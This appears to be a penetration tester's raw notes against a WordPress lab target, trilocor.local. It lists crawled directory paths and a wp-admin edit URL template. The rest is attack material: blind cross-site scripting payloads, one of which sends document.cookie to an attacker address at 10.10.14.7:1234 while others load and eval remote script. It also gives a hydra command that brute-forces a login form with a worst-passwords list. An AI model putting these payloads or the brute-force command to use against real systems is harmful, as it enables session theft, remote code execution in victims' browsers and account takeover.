http://trilocor.

local/content/
http://trilocor.local/content/feed/
http://trilocor.local/content/comments/
http://trilocor.local/content/comments/feed/
http://trilocor.local/content/testimonials/
http://trilocor.local/content/about-us/
http://trilocor.local/content/case-studies/
http://trilocor.local/wp-content/
http://trilocor.local/wp-content/themes/
http://trilocor.local/wp-content/uploads/
http://trilocor.local/wp-content/plugins/
http://trilocor.local/wp-content/themes/astra/
http://trilocor.local/wp-content/uploads/2020/
http://trilocor.local/wp-content/uploads/2021/
http://trilocor.local/wp-content/uploads/2022/
http://trilocor.local/wp-includes/
http://trilocor.local/wp-includes/css/
http://trilocor.local/wp-includes/js/
http://trilocor.local/wp-includes/css/dist/
http://trilocor.local/wp-includes/js/
http://trilocor.local/wp-includes/js/jquery/

{blog-postapi-url}/../wp-admin/post.php?action=edit&post={post-id}

<img src=x onerror=this.src="http://10.10.14.7:1234/?c="+document.cookie>

<script src=http://10.10.14.7:1234></script>
'><script src=http://10.10.14.7:1234></script>
"><script src=http://10.10.14.7:1234></script>
javascript:eval('var
a=document.createElement(\'script\');a.src=\'http://<your_IP>:<PORT>\';document.bod
y.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new
XMLHttpRequest();a.addEventListener("load", b);a.open("GET",
"//<your_IP>:<PORT>");a.send();</script>
<script>$.getScript("http://<your_IP>:<PORT>")</script>s

hydra -V -f -L user_list.txt -P /usr/share/seclists/Passwords/500-worst-

passwords.txt portal.trilocor.local http-post-form
"/:username=^USER^&password=^PASS^:F=Login"